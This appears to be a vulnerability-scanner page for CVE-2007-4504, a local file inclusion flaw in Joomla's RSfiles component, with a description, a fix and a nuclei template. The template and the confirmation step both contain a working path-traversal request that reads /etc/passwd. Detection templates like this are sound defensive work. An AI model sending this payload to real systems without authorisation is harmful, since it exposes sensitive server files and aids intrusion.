Joomla! RSfiles <=1.0.2 - Local File Inclusion

mediumseverity

5CVSS score

9.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

Joomla! RSfiles 1.0.2 and earlier is susceptible to local file inclusion in index.php in the RSfiles component (com_rsfiles). This could allow remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.

Fix

Upgrade to the latest version of Joomla! RSfiles or apply the necessary patches provided by the vendor.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2007-4504 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2007-4504

info:
  name: Joomla! RSfiles <=1.0.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! RSfiles 1.0.2 and earlier is susceptible to local file inclusion in index.php in the RSfiles component (com_rsfiles). This could allow remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Upgrade to the latest version of Joomla! RSfiles or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/4307
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/36222
    - https://nvd.nist.gov/vuln/detail/CVE-2007-4504
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2007-4504
    cwe-id: CWE-22
    epss-score: 0.09491
    epss-percentile: 0.95479
    cpe: cpe:2.3:a:joomla:rsfiles:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: rsfiles
  tags: cve2007,cve,lfi,edb,joomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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